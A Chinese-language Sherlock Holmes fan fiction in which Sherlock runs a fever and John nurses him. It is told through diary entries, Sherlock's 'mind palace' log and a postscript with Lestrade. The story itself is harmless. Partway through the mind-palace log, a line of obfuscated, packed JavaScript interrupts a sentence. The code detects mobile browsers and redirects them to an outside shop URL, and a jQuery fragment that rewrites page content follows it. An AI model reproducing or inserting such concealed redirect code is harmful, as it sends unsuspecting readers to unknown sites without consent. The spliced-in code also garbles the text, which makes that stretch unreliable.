我从没想过，夏洛克·福尔摩斯也会生病。
这个念头听起来很傻。他是人，当然会生病。但和他同居这么多年，我确实没见过他生病。头疼脑热？没有。感冒流感？没有。哪怕是在外面追着罪犯跑了一整夜，淋了三个小时的雨，回来也只是把湿衣服脱掉，继续坐在沙发上拉小提琴，好像什么都没发生过。
我曾经问过他。
“你的免疫系统比普通人强。”他说。语气平淡，像是在陈述一个事实。“长期的暴露训练加上基因优势。”
我当时信了。
现在我知道，那不是全部的原因。
---
4月7日
今天早上我是被热醒的。
不是天气热——伦敦的四月还没热到那种程度。是旁边有个人，像个火炉一样贴着我，呼吸又重又烫。
我睁开眼睛，看见夏洛克的脸就在几厘米之外。他的脸颊泛着不正常的红，眉头皱着，嘴唇干裂，呼吸急促。
我伸手摸了摸他的额头。
烫得吓人。
“夏洛克。”
他没反应。
“夏洛克！”
他的眼睛睁开一条缝，瞳孔涣散，看了我一会儿，像是认了很久才认出我是谁。
“约翰。”他的声音沙哑，几乎听不出来是他。“头疼。”
我立刻坐起来，打开床头灯。三十八度？不，绝对不止。我用手背贴了贴他的脖子，烫得厉害。
“你发烧了。”我说。“躺着别动，我去拿体温计。”
我翻身下床，光着脚跑去浴室，翻出医药箱。体温计，退烧药，冰袋，毛巾。我拿着这些东西回到床边，他维持着刚才的姿势，一动没动。
我把体温计塞进他耳朵里。
三十九度二。
“多久了？”我问。
他闭着眼睛，眉头皱得更紧。“昨晚。”
“昨晚就发烧了？你怎么不叫我？”
沉默。
“夏洛克。”
“……你在睡。”
我愣了一下。
“你在睡，”他又说了一遍，声音沙哑，断断续续，“不想吵醒你。”
我看着他。他的脸烧得通红，嘴唇干裂，呼吸又急又烫，但他昨晚就那么躺在旁边，忍了一整夜，就因为我“在睡”。
“夏洛克·福尔摩斯。”我说。语气可能有点冲，因为我控制不住。“你是白痴吗？”
他睁开眼睛，看着我。烧得迷迷糊糊的眼睛里有一点困惑，好像在问“为什么骂我”。
“发烧到三十九度不叫人，你觉得这是合理的？”
他想了想。那个思考的过程在他现在的状态下显得很慢，像是电脑在卡顿。
“不合理。”他最后说。“但你在睡。”
我深吸一口气。告诉自己不要生气。告诉自己他是病人。
“下次叫我。”我说。“不管我在干什么。明白吗？”
他看着我。看了很久。
“明白。”他说。声音很轻。
我把冰袋敷在他额头上，又倒了一杯水，扶他起来喝。他的手在抖，拿不稳杯子，我只好托着杯底，一点一点喂他。
他喝了几口，躺回去，眼睛半闭着。
“约翰。”
“嗯？”
“你在生气。”
“我没有。”
“你的心率比平时高。”他说。烧成这样，他还在观察我的心率。“说话的语气也比平时短。你在生气。”
我看着他的脸。烧得通红，疲惫，但眼睛还是那样，亮亮的，看着我。
“我不是生气。”我说。“我是……”
我是什么？
我是担心。我是害怕。我是看见他这样躺在那里，才知道原来他也会生病，原来他不是无所不能，原来他也会需要人照顾。
“我是着急。”我说。“你不知道照顾自己。”
他沉默了一会儿。
“我知道。”他说。“所以有你。”
我看着他。
他也看着我。烧得迷迷糊糊的，但眼神很认真。
“有你在。”他说。“所以不需要知道。”
我不知道该说什么。
我把毛巾浸了冷水，拧干，敷在他额头上。他的手从被子下面伸出来，握住我的手腕。他的手指很烫，但握得很紧。
“别走。”他说。
“我不走。”
“就在这里。”
“就在这里。”
他闭上眼睛。呼吸还是又重又烫，但慢慢平稳了一点。我坐在床边，让他握着我的手腕，另一只手搭在他额头的毛巾上。
窗外的伦敦开始醒了。车流声渐渐多起来，隐约能听见哈德森太太在楼下走动。阳光从窗帘缝隙里透进来，在地板上画出一道淡淡的金线。
我就这么坐着。
他的手指在我的手腕上，滚烫的，但一直没有松开。
---
中午的时候，温度降下来一点。三十八度二。
他醒了一会儿，我趁机又喂他喝了些水，吃了退烧药。他皱着眉把药咽下去，然后看着我，像是在等我表扬。
“乖。”我说。
他皱眉。“我不是狗。”
“你是病人。病人要听话。”
他哼了一声，但没反驳。过了一会儿，他又睡着了。
我站起来，腿有点麻。我去厨房煮了点粥——虽然不知道他会不会吃，但至少备着。哈德森太太在楼梯口探头。
“约翰，他还好吗？”
“发烧。三十九度多，现在降下来一点了。”
“天哪，我从来没见过这小子生病。”哈德森太太一脸担忧。“需要我帮忙吗？”
“暂时不用，谢谢。如果有需要我再叫您。”
她点点头，又看了一眼楼上，下楼去了。
我端着粥回到卧室。他还睡着，姿势和刚才一样，侧躺着，手还伸在外面，像是还在找我的手腕。
我把粥放在床头柜上，在床边坐下。
看着他的脸。烧退了一点，脸上的红没那么吓人了。他的睫毛很长，睡着的时候垂下来，在眼睑上投下一小片阴影。他的嘴唇还是干，呼吸比早上平稳一些。
我伸手，轻轻碰了碰他的脸颊。还是有点烫。
他动了一下，眉头微皱。
“约翰。”他嘟囔了一声，没睁眼。
“在。”
他的眉头松开了。手又开始找，在被子外面摸索。我握住他的手，他立刻安静下来。
我就这么坐着。握着他的手。看着他睡。
窗外有鸟叫。哈德森太太的收音机在放老歌。贝克街的车流声远远的，像一层温柔的背景音。
我想，这就是了。
不是那些追捕，不是那些破案的瞬间。是这样的时候——他生病，我照顾他。他握着我的手，我坐在旁边。窗外的世界继续转，但在这个房间里，只有我们两个人。
---
他睡到下午四点才醒。
睁开眼睛的时候，他先看天花板，然后转头看我。我还在旁边，握着他的手。
“几点了？”
“四点。”
他愣了一下，像是在计算自己睡了多久。然后他试图坐起来。
“躺着。”我按住他。“还烧着。”
“案子——”
“雷斯垂德没有打电话。就算有，也要等你退烧。”
他看着我，想说什么。
“别说话。”我说。“喝水。”
我把水杯递过去。他这次能自己拿了，虽然手还有点抖，但比早上好多了。他喝了几口，把杯子还给我。
“约翰。”
“嗯？”
“你一直在这里。”
陈述句，不是问句。
“是的。”
“多久？”
“从早上。”
他看着我的手。我的手还握着他的。
“你的手。”他说。“一直这样？”
“你一直抓着。”
他沉默了一会儿。然后他低头，看着我们交握的手，看了很久。
“夏洛克？”
他抬起头。他的眼睛有点红——发烧的关系，也可能是别的什么。他说不上来。
“数据点。”他说。“缺失的数据点。”
“什么？”
“关于生病。”他说。“关于被照顾。关于有人……”
他没说完。但我好像知道他想说什么。
关于有人在乎。关于有人会在你生病的时候握着你的手，坐一整天，哪儿都不去。
“约翰。”他说。
“嗯？”
“谢谢你。”
我愣了一下。
夏洛克·福尔摩斯，说谢谢。不是那种客套的、敷衍的谢谢。是真的，看着我的眼睛，认真地说出来的谢谢。
“不用谢。”我说。“这是男朋友的义务。”
他看着我的眼睛。烧还没全退，但那双眼睛还是那么亮。
“这个义务，”他说，“我可以习惯。”
我忍不住笑了。
“那就习惯。”我说。“反正我有的是时间。”
他想了想。
“余生？”他问。
我看着他。他的脸还有点红，头发乱糟糟的，眼睛亮亮的，问出这个问题的时候，表情认真得像个小孩。
“余生。”我说。
他握紧我的手。
窗外，伦敦的下午正在慢慢变成傍晚。阳光变成金色，从窗帘缝隙里斜斜地照进来，落在地板上，落在床单上，落在我们交握的手上。
我想，这就是余生的样子吧。
不是轰轰烈烈，不是惊天动地。是生病的时候有人照顾，是醒来的时候有人在旁边，是握着手说“谢谢你”和“不用谢”。
这样就很好。
---
思维宫殿，同日
条目：生病事件分析
·起始时间：昨晚23:00左右（估计）
·最高体温：39.2℃（07:23测量）
·当前体温：37.8℃（16:45测量）
·睡眠时长：约14小时（间断）
行为记录：
早上，约翰发现我发烧。他的心率从睡眠时的58bpm瞬间升至92bpm。瞳孔放大。语气急促。他拿了体温计、冰袋、毛巾、退烧药。他的手很稳，但动作很快。
他生气了。不是真的生气。是担心。是害怕。
我让他叫我。他说不管我在干什么，都要叫。
数据分析：
以前生病，不需要叫人。没有人需要叫。一个人就可以。
但现在不一样。
现在有一个人，会因为我不叫他而生气。会因为我在发烧而坐在旁边一整天。会握着我的手，一直握着，哪怕我的手心出汗，哪怕他的腿麻了，也不松开。
结论：
这个人很重要。
不，这个数据不准确。
重新分类：
这个人，是我需要的人。
不是逻辑上的需要。不是功能上的需要。是另一种需要。
是醒来的时候看见他在旁边，就知道一切都好的那种需要。
是握着的手一直不松开的那种需要。
是他说“余生”的时候，觉得这两个字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301108|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚好够用的那种需要。
另注：
他的手现在还握着我的手。
体温37.8℃。
心率67bpm。
一切正常。
---
约翰·华生，晚上
晚上他完全退烧了。三十六度八，正常体温。
他坐起来，靠在床头，看着我端进来的粥。
“这是什么？”
“粥。”
“我知道是粥。为什么？”
“因为你一天没吃东西。”
他皱眉，看着那碗粥，像是在看某种可疑的化学物质。
“我不饿。”
“你发烧的时候消耗了很多能量。需要补充。”
他继续皱眉。我端着碗，站在床边，等着。
“约翰。”
“嗯？”
“我可以不吃吗？”
“不可以。”
他看着我。我看着他。我们对峙了三秒钟。
然后他伸手，接过碗，吃了一口。
“难吃。”他说。
“我知道。”
他又吃了一口。
“你做的？”
“是的。”
他沉默了一会儿，继续吃。吃到一半，他停下来，看着我。
“约翰。”
“嗯？”
“下次我生病，你还做吗？”
我看着他的脸。他问得很认真，像是在确认某个重要的事实。
“会。”我说。
他点点头，继续吃。
吃完的时候，他把碗递给我。我接过来，放在床头柜上。
“约翰。”
“嗯？”
他伸出手，拉住我的手腕，把我往床上带。
“干什么？”
“睡觉。”
“现在才八点。”
“病人需要休息。”他说。“你是病人吗？”
“我不是。”
“那你是照顾病人的人。”他说。“照顾病人的人也需要休息。”
他的逻辑永远是这样，绕来绕去，但最后总能绕到他想去的地方。
我躺下来，在他旁边。他侧过身，面对着我，手放在我腰上。
“夏洛克。”
“嗯？”
“你刚才说粥难吃。”
“是的。”
“但你吃完了。”
沉默了一秒。
“是你做的。”他说。
然后他闭上眼睛，像是要睡了。
我看着他。他的脸不红了，呼吸平稳，睫毛在灯光下微微颤动。他的手还在我腰上，温热的，轻轻的。
“夏洛克。”
他没睁眼。“嗯？”
“下次我给你做更好吃的。”
他睁开眼睛，看着我。
“不用。”他说。“这样就很好。”
我看着他的眼睛。灯光把他的瞳孔染成浅褐色，里面有我的倒影。
“为什么？”
他想了想。
“因为是你做的。”他说。“所以这样就很好。”
然后他闭上眼睛，真的睡了。
我躺着，听着他的呼吸。均匀的，平稳的，比早上好太多了。
窗外是伦敦的夜晚。霓虹灯，车流，偶尔的警笛声。哈德森太太在楼下看电视，隐约能听见笑声。
在这个房间里，有一个人，手放在我腰上，呼吸平稳地睡着。
他说，因为是你做的，所以这样就很好。
我想，我也是。
因为是他，所以这样就很好。
---
——约翰·H·华生，记录于一个病愈的夜晚
---
后记：
第二天早上，雷斯垂德打电话来。
“夏洛克呢？有个案子需要他。”
我看着坐在沙发上、裹着毯子、手里捧着一杯热茶的夏洛克。他看见我的目光，抬起头。
“他病了。”我说。“今天不能去。”
电话那头沉默了一秒。
“夏洛克·福尔摩斯？病了？”
“是的。发烧。”
又是一秒沉默。
“他居然会生病？”
“他是人。”
“我知道他是人，但是——”雷斯垂德顿了顿，“算了。你照顾他？”
“是的。”
“他能接电话吗？就几个问题？”
我看向夏洛克。他已经听见了电话里的内容，点了点头。
我把电话递给他。
他接过去，听了一会儿，说了几个“嗯”和“知道了”，然后把电话还给我。
“雷斯垂德。”他说。
我接过电话。“喂？”
“他真病了？”雷斯垂德的声音有点不可思议。“刚才说话都没什么力气。”
“我告诉过你了。”
“……好好照顾他。”
“我会的。”
挂了电话，我走过去，坐在他旁边。他把毯子分了一半给我，虽然他自己还在病后恢复期。
“雷斯垂德说什么？”
“案子。他需要确认几个细节。”
“你帮他了？”
“嗯。”
“你应该休息。”
他看着我的眼睛。
“你在这里。”他说。“所以可以休息。”
然后他把头靠在我肩膀上，闭上眼睛。
我伸手，把毯子往上拉了拉，盖住我们俩。
窗外是伦敦的早晨。阳光淡淡的，把一切都染成金色。
在这个沙发上，有两个人，靠在一起，盖着同一条毯子。